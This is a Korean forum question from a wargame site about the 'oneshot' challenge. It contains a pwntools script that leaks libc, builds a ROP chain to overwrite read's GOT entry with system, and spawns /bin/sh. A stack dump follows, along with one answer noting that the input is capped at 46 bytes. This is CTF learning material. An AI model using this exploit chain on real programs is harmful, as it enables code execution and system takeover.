one_gadget 사용 x

one_gadget안쓰고 ROPgadget로 인자 직접 넣어볼려고 하는데 스택에 값이 제대로 안들어갑니다

from pwn import *

p = process('./oneshot')
e = ELF('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdout_offset = libc.symbols['_IO_2_1_stdout_']
system_offset = libc.symbols['system']
read_plt = p64(e.plt['read'])
read_got = p64(e.got['read'])

p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)

lb = stdout - stdout_offset
system = lb + system_offset
pop_rdi = p64(lb + 0x2164f)
pop_rsi = p64(lb + 0x23a6a)

payload = b'A'*24 + b'\x00'*8 + b'A'*8
payload += pop_rdi + p64(0)
payload += pop_rsi + read_got
payload += pop_rdi + p64(system+0x8)
payload += read_plt
p.sendafter('MSG: ', payload)

p.send(p64(system)+b'/bin/sh\x00')

p.interactive()
0x7ffe0b118d10:	0x4141414141414141    0x4141414141414141
0x7ffe0b118d20:	0x4141414141414141    0x0000000000000000
0x7ffe0b118d30:	0x4141414141414141    0x00007fcfc077d64f  # <- pop_rdi
0x7ffe0b118d40:	0x0000000000000001    0x00007ffe0b118e18
0x7ffe0b118d50:	0x0000000100008000    0x0000560936a2ca41
0x7ffe0b118d60:	0x0000000000000000    0xbc288625463e94b4

pop rdi; ret까지는 제대로 들어갔는데 그이후로부터 이상하게 들어가네요

가젯은 제대로 찾은거 확인했습니다

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

read로 46바이트만 입력 받으니까요...?!

2023.01.09. 06:00
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기